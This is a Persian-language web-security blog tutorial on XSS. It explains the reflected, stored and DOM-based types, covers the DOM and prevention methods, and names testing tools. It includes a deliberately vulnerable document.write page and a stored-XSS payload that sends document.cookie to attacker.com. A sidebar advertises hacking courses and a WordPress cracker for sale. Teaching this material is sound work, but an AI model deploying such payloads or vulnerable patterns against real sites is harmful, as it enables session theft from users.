جستجو پیشرفته محصولات
0
سبد خرید خالی است.
ورود | ثبت نام
با ورود و یا ثبت نام در زیرزمین سایبری شما شرایط و قوانین استفاده از سرویس‌های سایت را می‌پذیرید.

آسیب پذیری XSS

تصویر مقاله آسیب پذیری XSS

در دنیای امنیت وب، یکی از رایج‌ترین و در عین حال خطرناک‌ترین آسیب‌پذیری‌ها، آسیب پذیری XSS یا Cross-Site Scripting است. این نوع از آسیب‌پذیری به هکرها اجازه می‌دهد تا کدهای مخرب جاوااسکریپت را در صفحات وب تزریق کرده و آن‌ها را روی مرورگر کاربران اجرا کنند. در این مقاله، به زبان ساده و برای افرادی که هیچ پیش‌زمینه‌ای ندارند، به بررسی کامل این آسیب‌پذیری، انواع مختلف آن و نحوه جلوگیری از آن خواهیم پرداخت. همچنین اگر به وب هکینگ علاقه دارید شما رو به دیدن دوره آموزشی هک سایت زیرزمین سایبری دعوت میکنیم .

آسیب‌پذیری XSS چیست؟

آسیب پذیری XSS چیست ؟

آسیب پذیری XSS یک نوع نقص امنیتی در اپلیکیشن‌های وب است که به مهاجم اجازه می‌دهد تا اسکریپت‌های مخرب را به صفحات وب تزریق کند. این کدهای مخرب معمولاً به زبان جاوااسکریپت نوشته می‌شوند و پس از تزریق، در مرورگر کاربران اجرا می‌شوند. هدف از این حملات می‌تواند سرقت کوکی‌ها، هک حساب کاربری، تغییر محتوای صفحه یا هدایت کاربر به صفحات مخرب باشد.

XSS بیشتر زمانی رخ می‌دهد که ورودی کاربر بدون فیلتر و اعتبارسنجی مناسب در صفحه وب نمایش داده می‌شود. این موضوع باعث می‌شود که مهاجم بتواند با وارد کردن کدهای مخرب، کنترل صفحه را در اختیار بگیرد

انواع آسیب‌پذیری XSS

اسیب پذیری XSS در 3 دسته تقسیم بندی میشه که میشه , reflected, Dom,Stored که هرکدام با دگیری یکسری تفاوت هایی دارد نظیر این که Reflected  و Stored با سرور تعامل داره ولی DOM کاملا سمت Client Side هست یا مثلا Stored در دیتابیس ذخیره میشه ولی مابقی خیر حالا کاری نداریم بریم جلوتر تا بیشتر با این مباحث اشنا بشیم .

Reflected XSS (بازتابی)

				
					https://example.com/search?q=<script>alert('XSS')</script>
				
			

در این مثال، پارامتر q مستقیماً در صفحه بدون فیلتر شدن نمایش داده می‌شود. اگر سایت چنین لینکی را بدون پاک‌سازی محتوا پردازش کند، کد جاوااسکریپت اجرا می‌شود و شما یک پیغام در مرورگر خودتون به شکل زیر میبینید .

تصویر آسیب پذیری XSS

Stored XSS (ذخیره شده)

در نوع ذخیره‌شده، کد مخرب در دیتابیس یا فایل‌های سایت ذخیره می‌شود و هربار که کاربر صفحه را مشاهده می‌کند، اسکریپت اجرا می‌شود. این نوع از XSS خطرناک‌تر است چون به کلیه کاربرانی که صفحه را باز می‌کنند آسیب می‌زند.

مثال: فرض کنید کاربری در بخش نظرات، کامنتی به شکل زیر وارد کند:

				
					<script>document.location='http://attacker.com/cookie?c='+document.cookie</script>
				
			

اگر سیستم بدون پاک‌سازی این کد، آن را ذخیره کرده و در صفحه نمایش دهد، تمامی کاربران در معرض خطر قرار می‌گیرند.

DOM-based XSS

این نوع XSS زمانی اتفاق می‌افتد که کد مخرب از طریق DOM در سمت مرورگر اجرا می‌شود، بدون اینکه در پاسخ HTTP از سرور اثری از آن باشد. یعنی کل پردازش روی مرورگر کاربر و از طریق جاوااسکریپت انجام می‌شود.

مثال:

				
					<!DOCTYPE html>
<html>
<head>
    <title>Vulnerable Page</title>
</head>
<body data-rsssl=1>
    <div id="greeting"></div>
    <script>
        const name = new URLSearchParams(window.location.search).get('name');
        document.write("Hello, " + name);
    </script>
</body>
</html>
				
			

در کد بالا, نام کاربر به صورت مستقیم پس از دریافت در صفحه نمایش داده میشود توسط Js یا همون Java Script که زبان برنامه نویسی سمت Client هستش در وب اپلیکیشن ها, و هیچ ارتباطی در کد بالا با سرور نداریم و اتفاقی که میفته این هست :

حالا اگر هکر بیاد و پیلود مخرب وارد کنه و بدون پردازش کردن اون در صفحه نمایش داده بشه اتفاقی که در تصویر پایین میبینید میفته و کار رو خراب میکنه : ) 

همونطور که دیدید بر خلاف Reflected و Stored کاربر میتونه Payload خودش رو اجرا کنه بدون اینکه با سرور ارتباطی بر قرار کنه و این ویژگی آسیب پذیری XSS DOM هستش .  حالا شاید بپرسید DOM یعنی چی !؟ 

DOM یا Document Object Model چیست ؟

قبل از اینکه به بررسی دقیق DOM-based XSS بپردازیم، باید بدانیم که DOM چیست. DOM یا Document Object Model یک رابط برنامه‌نویسی است که ساختار یک سند HTML یا XML را به صورت یک درخت نمایش می‌دهد. این درخت از گره‌هایی (Nodes) تشکیل شده که هر کدام نماینده یکی از اجزای صفحه مانند تگ‌ها، محتوا، ویژگی‌ها و… هستند.

به کمک DOM، جاوااسکریپت می‌تواند به اجزای مختلف صفحه دسترسی پیدا کند، آن‌ها را تغییر دهد یا رویدادهایی را به آن‌ها نسبت دهد. مرورگرها با استفاده از ابزارهای توسعه‌دهنده (مانند Inspector در Firefox یا Chrome) این ساختار درختی را نمایش می‌دهند.

برای مثال یک ساختار ساده DOM می‌تواند به شکل زیر باشد:

				
					document
 ├── <!DOCTYPE html>
 └── html
     ├── head
     │   ├── title
     │   ├── meta
     │   ├── style
     └── body
         └── div
             ├── h1
             ├── p
             └── p
                 └── a
				
			

در این ساختار، هر عنصر HTML به عنوان یک گره در درخت DOM شناخته می‌شود. با فشار دادن کلیدهای Ctrl + Shift + I در مرورگر Firefox و انتخاب تب Inspector می‌توانید این ساختار را به صورت بصری مشاهده کنید.

شناخت DOM برای درک بهتر آسیب‌پذیری DOM-based XSS ضروری است، زیرا در این نوع حملات، اسکریپت‌های مخرب با استفاده از جاوااسکریپت و بدون دخالت مستقیم سرور، عناصر DOM را دستکاری می‌کنند.

چگونه از آسیب‌پذیری XSS جلوگیری کنیم؟

  • برای جلوگیری از XSS، باید ورودی‌های کاربران را اعتبارسنجی، پاک‌سازی (sanitize) و در صورت نیاز Encode کرد. در اینجا چند تکنیک کلیدی وجود دارد:
  • استفاده از توابع Escape/Encode برای نمایش محتوا در HTML
  • عدم استفاده مستقیم از ورودی کاربر در DOM
  • استفاده از فریم‌ورک‌هایی که به‌طور خودکار از XSS جلوگیری می‌کنند مثل React
  • فیلتر کردن تگ‌ها و کلمات کلیدی مشکوک با استفاده از کتابخانه‌هایی مانند DOMPurify
  • اعمال سیاست‌های امنیتی مانند Content Security Policy (CSP)

ابزارهایی برای تست XSS

برای تست و شناسایی XSS ابزارهای زیادی وجود دارند که به صورت دستی یا خودکار عمل می‌کنند. چند نمونه از این ابزارها:

Burp Suite

OWASP ZAP

XSStrike

XSSer

همچنین بسیاری از برنامه‌های آموزش وب هکینگ شامل ماشین‌های تمرینی برای تست XSS هستند مانند DVWA .

ابزارهایی برای تست XSS

آسیب پذیری XSS یکی از مهم‌ترین ضعف‌های امنیتی در وب است که اگر نادیده گرفته شود، می‌تواند منجر به سرقت اطلاعات، تزریق کدهای مخرب و حملات گسترده شود. شناخت انواع مختلف XSS مانند Reflected، Stored و DOM-based و یادگیری روش‌های جلوگیری از آن برای هر توسعه‌دهنده و متخصص امنیت ضروری است. اگر به دنبال یادگیری بیشتر در این زمینه هستید، پیشنهاد می‌کنم حتماً مقاله‌های مربوط به آموزش هک سایت و آموزش وب هکینگ را در وبلاگ ما مطالعه کنید.

یادگیری XSS نه تنها به شما در درک بهتر امنیت وب کمک می‌کند بلکه یکی از مراحل مهم در ورود به دنیای هک اخلاقی و تست نفوذ است.

درباره نویسنــده
نویسنده
کورش سنایی
نظرات کاربـــران
فاقد دیدگاه
دیدگاهی برای این مطلب ثبت نشده است. اولین دیدگاه را شما بنویسید.
ثبت دیدگاه
captcha
دوره های هک و امنیت
دوره آموزشی ترموکس
500,000
30%
350,000 تومان
آموزش
جــدید
10
دانشجو
دوره های هک و امنیت
PACK STARTER
1,499,000 تومان
آموزش
جــدید
18
دانشجو
دوره های هک و امنیت
دوره آموزش ساخت Badusb
1,600,000
65%
560,000 تومان
آموزش
جــدید
46
دانشجو
ابزارهای هک و امنیت
کرکر وردپرس
1,400,000
68%
449,700 تومان
آموزش
جــدید
15
دانشجو
1,499,000
67%
499,000 تومان
100%
رضایت
23
دانشجو
دوره های هک و امنیت
دوره آموزشی Junior Hacker
3,485,000
61%
1,345,000 تومان
100%
رضایت
195
دانشجو
advanced-floating-content-close-btnعضویت در کانال تلگرام زیرزمین سایبری